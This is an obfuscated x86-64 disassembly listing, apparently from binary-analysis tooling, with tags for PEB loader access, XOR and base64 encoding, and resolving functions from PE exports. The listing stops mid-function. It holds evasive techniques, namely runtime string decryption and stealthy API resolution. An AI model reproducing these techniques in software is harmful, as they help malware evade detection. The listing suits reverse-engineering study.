Function at 0x14028072c
Capabilities:
Access peb ldr_data
Encode data using base64
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x508]
sub rsp, 0x608
xor r14d, r14d
mov dword [rbp + 0x48], r14d
movabs rax, 0xef6b8305580de894
mov r8, qword [0x14033e070]
imul r8, rax
not r8
movabs rcx, 0xf7af647f1d13513a
mov rsi, qword [0x14033e060]
mov rax, rsi
xor rax, rcx
and r8, rax
ror r8, 0x17
shr r8, 8
movabs rax, 0x3ce2c94747fc9b38
mov r9, qword [0x14033e088]
imul r9, rax
movabs r13, 0x73429f23b30a47a8
add r9, r13
movabs rax, 0xe116a7b47fffffff
xor r9, rax
shr r9, 0x1f
not r9
movabs r10, 0x8cbd60dc4cf5b858
lea rcx, [r9 + r10]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rdx, [0x14033e060]
movzx eax, r9b
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xdf
mov r15d, 0x8000003f
and ecx, r15d
jge 0x140280819
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rax, r9
ror rax, cl
not rax
movabs rcx, 0xba20f9e1bd38f628
mov rdi, rax
imul rdi, rcx
lea rdx, [rdi + r10]
mov r10, r9
imul r10, r8
sub r10, rdx
movabs rcx, 0xf4b8054ab659c1cb
xor r10, rcx
movzx ecx, dl
and ecx, 0xf
and ecx, r15d
jge 0x140280860
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r10, cl
movabs rcx, 0x930e4f6e8f36a240
imul rax, rcx
movabs r12, 0x19a9a88e9d2e9e40
sub rax, r12
xor r10, rax
mov rax, rdx
sub rax, qword [0x14033e078]
xor r10, rax
movabs rax, 0x8509b80e6201626
xor r10, rax
mov r11, r10
imul r11, qword [0x14033e080]
and r11, rsi
xor r11, rax
ror r11, 0x26
imul r11, rdx
not r8
imul r8, r9
movabs rax, 0x7cd8a7de79a6c322
imul r8, rax
imul rbx, rsi, 0xfffffffffb33471c
mov rdx, qword [0x14033e068]
sub rbx, rdx
mov al, r8b
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, r15d
jge 0x1402808f3
dec ecx
or ecx, 0xffffffc0
inc ecx
ror rbx, cl
lea rcx, [rdi + rbx]
imul rcx, r13
sub rcx, r12
movabs rax, 0x73429f23b30a47a7
sub rax, rdi
imul rcx, rax
imul rcx, r10
movabs rax, 0xf5ed7e878e5e8333
xor r9, rax
not r9
xor rcx, r9
xor r11, r8
imul r11, rsi
sub rcx, r11
call fcn.1400013f0
mov qword [0x14034c9d8], rax
mov dword [rbp - 0x80], r14d
mov dword [rbp - 0x80], 0x7ee3bc06
mov eax, dword [rbp - 0x80]
add eax, 0x36146ab5
xor eax, 0x9c818
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5a07cc3e
xor eax, 0x42addd51
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xd217da13
add eax, ecx
xor eax, 0x2a513053
add eax, 0x44c6d21f
xor eax, 0xde320f34
lea edx, [rcx - 0x6dd58768]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd8d84ffe
sub edx, eax
mov eax, dword [0x14033e030]
xor eax, 0x2727b001
add eax, 0x58fef998
add eax, edx
xor eax, 0x7188effe
mov dword [rbp - 0x7c], eax
mov dword [rbp - 0x80], eax
mov dword [rbp - 0x78], r14d
mov dword [rbp - 0x78], 0x695a9294
mov eax, dword [rbp - 0x78]
add eax, 0x238a17b4
xor eax, 0xad08b58e
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x56d02d45
xor eax, 0x5982599e
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xc6c29dc0
add eax, ecx
xor eax, 0x6376f700
sub eax, 0xbceab5e
xor eax, 0xff7fcd07
lea edx, [rcx - 0x62ccfcac]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd48e26b2
sub edx, eax
mov eax, dword [0x14033e030]
xor eax, 0x2b71d94d
add eax, 0x2a8b44c8
add eax, edx
xor eax, 0x6820858a
mov dword [rbp - 0x70], eax
mov dword [rbp - 0x78], eax
mov dword [rbp - 0x68], r14d
mov dword [rbp - 0x68], 0xf38cf7d4
mov eax, dword [rbp - 0x68]
add eax, 0xc2896230
xor eax, 0xf785548d
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x3352d4db
xor eax, 0xc80711f8
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x9cef1425
add eax, ecx
xor eax, 0x3e1bc60b
add eax, 0x1eecd419
xor eax, 0x5c1b2fcf
lea edx, [rcx + 0x668cb3e1]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xc70a23dc
sub edx, eax
mov eax, dword [0x14033e030]
xor eax, 0x38f5dc23
add eax, 0xb9047365
add eax, edx
xor eax, 0x5ebff714
mov dword [rsp + 0x68], eax
mov dword [rbp - 0x68], eax
mov dword [rbp - 0x64], r14d
mov dword [rbp - 0x64], 0xcbe2ebf3
mov eax, dword [rbp - 0x64]
add eax, 0x855558b6
xor eax, 0xee0b1759
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5df58f08
xor eax, 0xee2feb98
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xb033701
add eax, ecx
xor eax, 0xabeb20da
add eax, 0x57e01957
xor eax, 0xc6871e2c
mov r13d, dword [0x14033e030]
xor r13d, 0x21eaac49
sub r13d, eax
mov eax, dword [0x14033e038]
xor eax, 0xde1553b6
sub r13d, eax
sub r13d, ecx
add r13d, 0x4f2d2cbc
xor r13d, 0xa2af26e6
mov dword [rsp + 0x70], r13d
mov dword [rbp - 0x64], r13d
xor eax, eax
mov byte [rbp + 0x558], al
mov dword [rbp + 0x250], 0x69738e70
mov dword [rbp + 0x254], 0x3b440863
mov dword [rbp + 0x258], 0x86c07031
mov dword [rbp + 0x25c], 0xccb129b7
mov dword [rbp + 0x260], 0xf4503ba9
mov dword [rbp + 0x264], 0x1212956a
mov dword [rbp + 0x268], 0xef984302
mov eax, 0x5aa7
mov word [rbp + 0x26c], ax
mov r12, r14
mov r13d, 0x6afe
movabs r8, 0x13cce94adbce9ca4
mov ecx, 0x30
xor edx, edx
mov rax, r12
div r8
lea r14d, [rcx + rdx]
movzx r15d, r14w
ror r15w, 8
movzx esi, r15w
shr si, 0xa
movzx eax, r15w
shl ax, 6
or si, ax
movzx edi, si
ror di, 8
movzx r9d, r15w
shr r9w, 0xd
movzx eax, r15w
shl ax, 3
or r9w, ax
movzx edx, r15w
shl dx, 0xd
movzx eax, r15w
shr ax, 3
or dx, ax
movzx r11d, dx
ror r11w, 8
movzx r8d, r15w
shr r8w, 0xc
movzx eax, r15w
shl ax, 4
or r8w, ax
movzx ebx, r15w
not bx
movzx ecx, r15w
ror cx, 1
movzx r10d, word [rbp + r12*2 + 0x250]
sub r10w, si
add r10w, r13w
mov eax, 0x9204
sub ax, si
xor r10w, ax
sub r10w, word [0x14033e058]
sub r10w, word [0x14033e050]
add r10w, di
add r10w, r15w
sub r10w, cx
mov eax, 0x6fc1
add r10w, ax
lea eax, [r15 + rsi]
mov ecx, 0x2d07
add ax, cx
xor r10w, ax
sub r10w, dx
sub r10w, r9w
sub r10w, r15w
sub r10w, word [0x14033e048]
sub r10w, 0x50
add r10w, r11w
mov r13, qword [0x14033e040]
add r10w, si
add r10w, r13w
movzx eax, si
sub ax, r9w
add ax, r15w
add ax, r8w
xor r10w, ax
movzx eax, r15w
sub ax, r8w
xor ax, r15w
sub r10w, ax
sub r10w, r11w
add r10w, r15w
mov eax, 0x4230
add r10w, ax
movzx eax, r15w
ror ax, 7
mov ecx, 0x4050
sub r11w, cx
add ax, r11w
xor r10w, ax
mov edx, 0x9d7
add edx, r15d
add dx, dx
sub dx, r10w
movzx eax, bx
xor ax, word [0x14033e038]
sub dx, ax
mov eax, 0x7100
add eax, r15d
mov ecx, 0x2440
xor ax, cx
sub dx, ax
movzx eax, r15w
xor ax, word [0x14033e030]
add dx, ax
sub dx, di
sub dx, si
sub dx, r13w
sub dx, r14w
movzx eax, bx
movzx ecx, r15w
imul ecx, eax
xor cx, dx
mov word [rbp + r12*2 + 0x250], cx
inc r12
cmp r12, 0xf
jb 0x140280bb6
lea rax, [rbp + 0x250]
mov qword [rbp + 0x150], rax
mov qword [rbp + 0x158], 0x1e
mov rsi, qword [rbp + 0x150]
mov qword [rsp + 0x78], rsi
xor r14d, r14d
mov qword [rbp + 0x50], r14
movabs rax, 0x912a647fd9b26cd4
mov qword [rbp + 0x50], rax
movabs rcx, 0xf33a52b130480803
add rcx, qword [rbp + 0x50]
movabs rax, 0x2d5536625304c24c
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0xedf047f4af66717
sub rcx, rax
movabs rax, 0xf8f8cd9d5c91718d
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0xc7d654c02376ca0d
add rcx, rax
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179ade4ee50e5
xor rcx, rax
movabs rax, 0x5f627dc652eb3708
sub rcx, rax
movabs rax, 0x9e3b3cd4c9406ef0
xor rcx, rax
movabs rax, 0x3483ce4974ce4498
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ac4c11e74
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b53b3ee18b
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rax, 0xe0b56d7a6d77fd49
add rdx, rax
add rdx, rcx
movabs rax, 0x4b060b54acb77cfc
xor rdx, rax
mov qword [rbp + 0x50], rdx
mov qword [rbp + 0x58], rdx
mov qword [rbp + 0x50], r14
mov dword [rbp - 0x60], r14d
mov dword [rbp - 0x60], 0xf36562c0
mov dword [rbp + 0x48], 1
mov byte [rbp + 0x560], r14b
mov byte [rbp + 0x560], 0xf4
lea edi, [r14 + 3]
mov dword [rbp + 0x48], edi
mov bl, byte [rbp + 0x560]
add bl, 0x1f
xor bl, 0x25
mov r10, qword [0x14033e050]
sub bl, r10b
mov r9, qword [0x14033e058]
sub bl, r9b
add bl, 0x60
xor bl, 0x65
mov rcx, qword [0x14033e048]
sub bl, cl
mov r11, qword [0x14033e040]
add bl, 0x15
add bl, r11b
xor bl, 0x5a
sub bl, 0x37
xor bl, 0x9d
add bl, 0x11
add bl, r11b
not bl
mov r8, qword [0x14033e038]
mov al, r8b
xor al, 0x80
sub bl, al
mov rdx, qword [0x14033e030]
mov al, dl
xor al, 0x7f
add al, 0x42
add bl, al
xor bl, 0x80
mov byte [rbp + 0x560], bl
mov eax, dword [rbp - 0x60]
add eax, 0x311615b5
xor eax, 0xab09c31a
sub eax, r10d
sub eax, r9d
sub eax, 0x59f8d13f
xor eax, 0x47c02ba5
sub eax, ecx
add eax, 0x58df1675
add eax, r11d
xor eax, 0x30034947
add eax, 0x412c038b
xor eax, 0x88b161a6
lea ecx, [r11 - 0x68fa26bb]
add ecx, eax
not ecx
xor r8d, 0xd8c456aa
sub ecx, r8d
xor edx, 0x273ba955
lea eax, [rdx + 0x44b16cc4]
add eax, ecx
xor eax, 0x75950072
mov dword [rbp - 0x60], eax
cdqe
movzx ecx, word [rsi + rax*2]
movsx eax, bl
cmp ecx, eax
jne 0x1402810bb
mov dword [rbp - 0x5c], r14d
mov dword [rbp - 0x5c], 0x43c1a16c
mov dword [rbp + 0x48], 7
mov byte [rbp + 0x568], r14b
mov byte [rbp + 0x568], 0xd4
lea edi, [r14 + 0xf]
mov dword [rbp + 0x48], edi
mov al, byte [rbp + 0x568]
add al, 0x26
xor al, 0x2c
mov r9, qword [0x14033e050]
sub al, r9b
mov r8, qword [0x14033e058]
sub al, r8b
add al, 0x4b
xor al, 0x42
mov rcx, qword [0x14033e048]
sub al, cl
mov r11, qword [0x14033e040]
add al, 0xa
add al, r11b
xor al, 0x56
sub al, 0x27
xor al, 0xe2
mov r10, qword [0x14033e030]
mov bl, r10b
xor bl, 0x63
sub bl, al
mov rdx, qword [0x14033e038]
mov al, dl
xor al, 0x9c
sub bl, al
sub bl, r11b
add bl, 0x3e
xor bl, 0x54
mov byte [rbp + 0x568], bl
mov eax, dword [rbp - 0x5c]
add eax, 0x333548b5
xor eax, 0xde09c539
sub eax, r9d
sub eax, r8d
sub eax, 0x59ff2ed8
xor eax, 0x45987bd9
sub eax, ecx
add eax, 0xd5fdbcba
add eax, r11d
xor eax, 0x2d97b31b
add eax, 0x43ba8e17
xor eax, 0xefa1b72d
lea ecx, [r11 - 0x6b0a7f56]
add ecx, eax
not ecx
xor edx, 0xd8ccd376
sub ecx, edx
xor r10d, 0x27332c89
lea eax, [r10 + 0x4d78bd10]
add eax, ecx
xor eax, 0x54777226
mov dword [rbp - 0x5c], eax
cdqe
movzx ecx, word [rsi + rax*2]
movsx eax, bl
cmp ecx, eax
mov al, 1
je 0x1402810be
mov al, r14b
mov ecx, 8
test cl, dil
je 0x1402810d5
and edi, 0xfffffff7
mov dword [rbp + 0x48], edi
mov byte [rbp + 0x568], r14b
test dil, 4
je 0x1402810e5
and edi, 0xfffffffb
mov dword [rbp + 0x48], edi
mov dword [rbp - 0x5c], r14d
test dil, 2
je 0x1402810f8
and edi, 0xfffffffd
mov dword [rbp + 0x48], edi
mov byte [rbp + 0x560], r14b
test dil, 1
je 0x140281108
and edi, 0xfffffffe
mov dword [rbp + 0x48], edi
mov dword [rbp - 0x60], r14d
test al, al
je 0x1402811a5
mov dword [rbp - 0x58], r14d
mov dword [rbp - 0x58], 0x332507f7
mov eax, dword [rbp - 0x58]
add eax, 0x32d427b5
xor eax, 0xbd09c4d8
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x59fe0b75
xor eax, 0x45fb215d
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x56819506
add eax, ecx
xor eax, 0x2e067cbf
add eax, 0x41e1c063
xor eax, 0xf7d24ab6
lea edx, [rcx - 0x6aac063d]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd8cb4ef2
sub edx, eax
mov ecx, dword [0x14033e030]
xor ecx, 0x2734b10d
add ecx, 0x4bf2ec8c
add ecx, edx
xor ecx, 0x7b10544a
mov dword [rbp - 0x58], ecx
movsxd rax, ecx
lea rsi, [rsi + rax*2]
mov qword [rsp + 0x78], rsi
mov dword [rbp - 0x58], r14d
xor eax, eax
mov byte [rbp + 0x558], al
mov dword [rbp + 0x130], 0x69268e84
mov dword [rbp + 0x134], 0x3f090809
mov eax, 0x71be
mov word [rbp + 0x138], ax
mov r12, r14
mov r13d, 0x6afe
xor edx, edx
mov rax, r12
movabs rcx, 0x13cce94adbce9ca4
div rcx
mov r14d, 0x30
add r14d, edx
movzx r15d, r14w
ror r15w, 8
movzx esi, r15w
shr si, 0xa
movzx eax, r15w
shl ax, 6
or si, ax
movzx edi, si
ror di, 8
movzx r9d, r15w
shr r9w, 0xd
movzx eax, r15w
shl ax, 3
or r9w, ax
movzx edx, r15w
shl dx, 0xd
movzx eax, r15w
shr ax, 3
or dx, ax
movzx r11d, dx
ror r11w, 8
movzx r8d, r15w
shr r8w, 0xc
movzx eax, r15w
shl ax, 4
or r8w, ax
movzx ebx, r15w
not bx
movzx ecx, r15w
ror cx, 1
movzx r10d, word [rbp + r12*2 + 0x130]
sub r10w, si
add r10w, r13w
mov eax, 0x9204
sub ax, si
xor r10w, ax
sub r10w, word [0x14033e058]
sub r10w, word [0x14033e050]
add r10w, di
add r10w, r15w
sub r10w, cx
mov eax, 0x6fc1
add r10w, ax
lea eax, [r15 + rsi]
mov ecx, 0x2d07
add ax, cx
xor r10w, ax
sub r10w, dx
sub r10w, r9w
sub r10w, r15w
sub r10w, word [0x14033e048]
sub r10w, 0x50
add r10w, r11w
mov rcx, qword [0x14033e040]
add r10w, si
add r10w, cx
movzx eax, r8w
sub ax, r9w
add ax, si
add ax, r15w
xor r10w, ax
movzx eax, r15w
sub ax, r8w
xor ax, r15w
sub r10w, ax
sub r10w, r11w
add r10w, r15w
mov eax, 0x4230
add r10w, ax
movzx eax, r15w
ror ax, 7
mov edx, 0x4050
sub r11w, dx
add ax, r11w
xor r10w, ax
mov edx, 0x9d7
add edx, r15d
add dx, dx
sub dx, r10w
mov eax, 0x7100
add eax, r15d
mov r8d, 0x2440
xor ax, r8w
sub dx, ax
movzx eax, bx
xor ax, word [0x14033e038]
sub dx, ax
movzx eax, r15w
xor ax, word [0x14033e030]
add dx, ax
sub dx, di
sub dx, si
sub dx, r14w
sub dx, cx
movzx eax, r15w
movzx ecx, bx
imul ecx, eax
xor cx, dx
mov word [rbp + r12*2 + 0x130], cx
inc r12
cmp r12, 5
jb 0x1402811d6
lea rax, [rbp + 0x130]
mov qword [rbp + 0x160], rax
mov qword [rbp + 0x168], 0xa
mov r8, qword [rbp + 0x160]
mov ebx, 0x12c
mov edx, ebx
lea rcx, [rbp + 0x2a0]
call fcn.1402a00e8
nop
mov rcx, qword [rbp + 0x160]
xor edi, edi
test rcx, rcx
mov r13d, dword [rsp + 0x70]
je 0x14028140d
mov eax, edi
cmp qword [rbp + 0x168], rdi
jbe 0x14028140d
mov byte [rax + rcx], dil
inc rax
cmp rax, qword [rbp + 0x168]
jae 0x14028140d
mov rcx, qword [rbp + 0x160]
jmp 0x1402813f4
mov r9d, 0x100
mov r8, qword [rsp + 0x78]
mov rdx, rbx
lea rcx, [rbp + 0x2a0]
call fcn.1402a4614
lea rax, [rbp + 0x2a0]
mov qword [rbp + 0x178], rax
mov qword [rbp + 0x60], rdi
movabs rax, 0x5bbfb2940af37f6b
mov qword [rbp + 0x60], rax
movabs rcx, 0xf33a52b732e21903
add rcx, qword [rbp + 0x60]
movabs rax, 0x3e553662530ac4e6
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0xedf047f5cfe354a
sub rcx, rax
movabs rax, 0xf8f8cd9741ecf849
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x47d654b7faeea7fa
add rcx, rax
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179a709f69581
xor rcx, rax
movabs rax, 0x5f627dc67a130b14
sub rcx, rax
movabs rax, 0x163b3cd1c7c3519f
xor rcx, rax
movabs rax, 0x3483ce439c466a0f
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94adccb86b8
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b523347947
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rbx, 0xe0b56d925028ea0d
add rbx, rdx
add rbx, rcx
movabs rax, 0x79fd2f9f47f5508
xor rbx, rax
mov qword [rbp + 0x60], rbx
lea rcx, [rbp + 0x2a0]
call fcn.140173d38
movzx ecx, bx
movzx edx, ax
imul edx, ecx
mov word [rbp + 0x170], dx
mov qword [rbp + 0x60], rdi
mov qword [rbp + 0x68], rdi
movabs rax, 0x77aa650a863d3c24
mov qword [rbp + 0x68], rax
movabs rcx, 0xf33a52b635d67e83
add rcx, qword [rbp + 0x68]
movabs rax, 0xa3d536625309c7db
xor rcx, rax
sub rcx, qword [0x14033e058]
sub rcx, qword [0x14033e050]
movabs rax, 0x7120fb80a5f8ed86
add rcx, rax
movabs rax, 0xf8f8cd9842ecc133
xor rcx, rax
sub rcx, qword [0x14033e048]
movabs rax, 0x7d654b9526be832
add rcx, rax
mov rdx, qword [0x14033e040]
add rcx, rdx
movabs rax, 0x5a9179a82a97d1bb
xor rcx, rax
movabs rax, 0x5f627dc6bb82977e
sub rcx, rax
movabs rax, 0xea3b3cd24651073c
xor rcx, rax
movabs rax, 0xb483ce449266b356
add rax, rcx
add rdx, rax
not rdx
movabs rcx, 0x13cce94ad8d7584e
mov rax, qword [0x14033e038]
xor rax, rcx
sub rdx, rax
movabs rax, 0xec3316b52728a7b1
mov rcx, qword [0x14033e030]
xor rcx, rax
movabs rax, 0xe0b56d8e58081123
add rdx, rax
add rdx, rcx
movabs rax, 0x88f9f37415aeefee
xor rdx, rax
mov qword [rbp + 0x68], rdx
add dx, word [rbp + 0x170]
mov word [rbp + 0x172], dx
mov qword [rbp + 0x68], rdi
mov eax, 0x30
mov dword [rbp + 0x270], eax
mov dword [rbp - 0x54], edi
mov dword [rbp - 0x54], 0xd7ba570
mov eax, dword [rbp - 0x54]
add eax, 0x36d909b5
xor eax, 0x9f09c8dd
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
sub eax, 0x5a0a1a1b
xor eax, 0x41e62bd5
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x510cf43f
add eax, ecx
xor eax, 0x2970eaf7
add eax, 0x44b2d65b
xor eax, 0xe5cfb98f
lea edx, [rcx - 0x6e94c60f]
add edx, eax
not edx
mov eax, dword [0x14033e038]
xor eax, 0xd8db627a
sub edx, eax
mov ecx, dword [0x14033e030]
xor ecx, 0x27249d85
add ecx, 0x5c165014
add ecx, edx
xor ecx, 0xa486fb62
mov dword [rbp - 0x54], ecx
movsxd rax, ecx
mov qword [rbp + 0x278], rax
mov dword [rbp - 0x54], edi
mov dword [rbp - 0x50], edi
mov dword [rbp - 0x50], 0xc1fe899a
mov eax, dword [rbp - 0x50]
add eax, 0x2c050438
xor eax, 0x998cbe09
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x1d1661f5
xor eax, 0x40e58168
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0x8d3fc1b3
add eax, ecx
xor eax, 0xc9cac13a
sub eax, 0x35ac8209
xor eax, 0x972212ee
mov edx, dword [0x14033e030]
xor edx, 0x1b4fed9b
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xe4b01264
sub edx, eax
sub edx, ecx
add edx, 0xb6576c2
xor edx, 0xb07db68c
mov dword [rbp - 0x50], edx
mov dword [rbp + 0x288], edx
mov dword [rbp - 0x50], edi
lea rax, [rbp + 0x170]
mov qword [rbp + 0x280], rax
mov dword [rbp - 0x4c], edi
mov dword [rbp - 0x4c], 0xead4d2e0
mov eax, dword [rbp - 0x4c]
add eax, 0x37e03f36
xor eax, 0xd48ac9e4
sub eax, dword [0x14033e050]
sub eax, dword [0x14033e058]
add eax, 0x22f2d044
xor eax, 0x3cdad97e
sub eax, dword [0x14033e048]
mov rcx, qword [0x14033e040]
add eax, 0xb427ab1f
add eax, ecx
xor eax, 0x444b1f0
sub eax, 0x7d084817
xor eax, 0xb9441695
mov edx, dword [0x14033e030]
xor edx, 0x232080af
sub edx, eax
mov eax, dword [0x14033e038]
xor eax, 0xdcdf7f50
sub edx, eax
sub edx, ecx
add edx, 0x4cca4407
xor edx, 0x967007b0
mov dword [rbp - 0x4c], edx
movsxd rax, edx
mov qword [rbp + 0x290], rax
mov dword [rbp - 0x4c], edi
mov qword [rbp + 0x298], rdi
movabs rsi, 0x6580057db75b6d36
movabs rax, 0x455b35175f03cb10
movabs r11, 0x471f9726b60d5bb9
movabs r10, 0x51ddda92305cb5a8
mov r15, qword [0x14033e070]
imul r15, rax
not r15
movabs rdx, 0xae22256dceb6cb7c
mov rax, qword [0x14033e060]
xor rax, rdx
and r15, rax
ror r15, 0x12
shr r15, 8
movabs rax, 0x12fc8c763dab9998
mov rbx, qword [0x14033e070]
imul rbx, rax
add rbx, r11
movabs rax, 0x7c410e2180000000
xor rbx, rax
shr rbx, 0x1f
not rbx
movabs r8, 0xb8e068d949f2a447
lea rcx, [rbx + r8]
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movzx eax, bl
lea rdx, [0x14033e060]
movzx ecx, byte [rdx + rcx*8]
imul ecx, eax
movzx ecx, cl
xor ecx, 0xb
and ecx, 0x8000003f
jge 0x1402818e8
dec ecx
or ecx, 0xffffffc0
inc ecx
mov rdx, rbx
ror rdx, cl
not rdx
movabs rax, 0xa28c703069bf1f20
mov r12, rdx
imul r12, rax
lea r9, [r12 + r8]
mov r8, rbx
imul r8, r15
sub r8, r9
xor r8, rsi
movzx r14d, r9b
mov ecx, r14d
xor ecx, 4
and ecx, 0xf
jge 0x140281929
dec ecx
or ecx, 0xffffffc0
inc ecx
rol r8, cl
mov rax, r9
sub rax, qword [0x14033e078]
xor r8, rax
movabs rax, 0x939c0628afcdde20
imul rdx, rax
movabs rax, 0x247078097da70bb1
sub rdx, rax
xor r8, rdx
xor r8, r10
mov rax, r8
movabs rcx, 0xd79435e50d79435f
and eax, 1
je 0x140281c50
sub rax, 1
je 0x140281b54
sub rax, 1
je 0x140281a82
cmp rax, 1
jne 0x140281ccf
mov rsi, r9
imul rsi, rbx
movabs rax, 0x434f77ce9bb14e5d
add rax, r8
xor rsi, rax
ror rsi, 0x28
shr rsi, 0xc
not rsi
movabs rcx, 0x8357229f5120
mov rdx, qword [0x14033e088]
add rdx, rcx
movabs rax, 0xb862eda12076d5dd
xor rdx, rax
movzx eax, r8b
movzx ecx, sil
imul ecx, eax
and cl, 0x3f
ror rdx, cl
shl rdx, 0xf
movabs rax, 0xf7ca7db97a7fbde3
sub rax, rbx
mov rbx, rdx
xor rbx, rax
mov rcx, rbx
imul rcx, r11
mov eax, 0xaba46f09
add rcx, rax
movabs r14, 0xaaaaaaaaaaaaaaab
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
lea rax, [0x14033e060]
mov cl, byte [rax + rcx*8]
and cl, 0xf
movabs r11, 0xdd4cbdc320012cb6
sub r11, rsi
shr r11, cl
movabs rcx, 0xb8e88d61a312c40d
add rcx, r12
mov rax, r14
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov rax, r8
lea rdx, [0x14033e060]
imul rax, qword [rdx + rcx*8]
imul rax, r8
sub rax, r15
xor r11, rax
jmp 0x140281ccf
movabs rcx, 0xaaaaaa1aabbd9237
mov rbx, r8
xor rbx, rcx
movabs rcx, 0x1206ed69b04e7b
imul rbx, rcx
movabs rcx, 0xffff7e8a8dada0eb
imul r12, rcx
movabs rcx, 0x774d03b8e88ebc35
add rbx, rcx
add rbx, r12
movabs rax, 0x277cd7be796d4557
mov rcx, rbx
xor rcx, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
mov r9, rbx
not r9
lea rax, [0x14033e060]
imul r9, qword [rax + rcx*8]
xor r9, 0xfffffffffee844e7
lea ecx, [r8 - 0xb]
and cl, 0x3f
rol r9, cl
movabs rax, 0x4810104000000000
imul r9, rax
mov rcx, r9
ror rcx, 0x1c
not rcx
movabs rax, 0x9b2de6b2da071dc0
imul rcx, rax
mov rax, rbx
sub rax, r9
lea rdx, [rcx + rax*4]
mov cl, r15b
and cl, 0x3f
ror rdx, cl
mov rax, r11
mov r11, rdx
imul r11, rax
jmp 0x140281ccf
movabs rax, 0x54afb53d103ee3bb
imul r8, rax
mov rax, rcx
mul r8
shr rdx, 4
movzx eax, dl
imul edx, eax, 0x13
mov cl, r8b
sub cl, dl
movabs rdx, 0x9a7ffa8248a492c9
shl rdx, cl
mov rax, r10
mov r10, rdx
xor r10, rax
and r14d, 0x8000003f
jge 0x140281ba0
dec r14d
or r14d, 0xffffffc0
inc r14d
mov cl, r14b
rol r10, cl
movabs rcx, 0xb8e068d949f2a447
add rcx, r8
movabs rax, 0xaaaaaaaaaaaaaaab
mul rcx
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rcx, rax
movabs rdx, 0x1726b60d5bb9
lea rax, [0x14033e060]
mov rax, qword [rax + rcx*8]
imul rax, rdx
xor r10, rax
movabs rax, 0xffffc7a7f779e41a
or r10, rax
mov r11, qword [0x14033e070]
imul r11, rsi
sub r11, r9
mov rax, r15
sub rax, r10
xor r11, rax
movabs rax, 0xc7a7c6a6a671e417
xor r11, rax
mov rax, r8
imul rax, r9
imul rax, r11
mov rdi, rbx
sub rdi, rax
movabs rax, 0x78958946923a80d
add rdi, rax
xor rdi, r15
movzx eax, bl
imul ecx, eax, 0xf2
and cl, 0x3f
rol rdi, cl
not rdi
jmp 0x140281ccf
mov rcx, r8
imul rcx, qword [0x14033e080]
and rcx, qword [0x14033e060]
mov rax, r10
mov r10, rcx
xor r10, rax
ror r10, 0x28
imul r10, r9
mov rdi, r15
not rdi
imul rdi, rbx
movabs rax, 0x7cd8a7de7b80b5f6
imul rdi, rax
imul r14, qword [0x14033e060], 0xfffffffffeea7ed4
mov rdx, qword [0x14033e068]
sub r14, rdx
mov al, dil
not al
movzx ecx, al
movzx eax, dl
xor ecx, eax
and ecx, 0x8000003f
jge 0x140281cbc
dec ecx
or ecx, 0xffffffc0
inc ecx
ror r14, cl
movabs r15, 0xb8e068d949f2a447
add r15, r14
add r15, r12
movabs rax, 0xff055d7b8bcbbf3b
xor rsi, rax
movabs rax, 0xaaaaaaaaaaaaaaab
mul rsi
shr rdx, 2
lea rax, [rdx + rdx*2]
add rax, rax
sub rsi, rax
xor r10, rdi
lea rax, [0x14033e060]
imul r10, qword [rax + rsi*8]
not r9
imul r9, r8
imul r9, r15
imul r9, r11
movabs rcx, 0xf5ed7e878c78f5e7
xor rcx, rbx
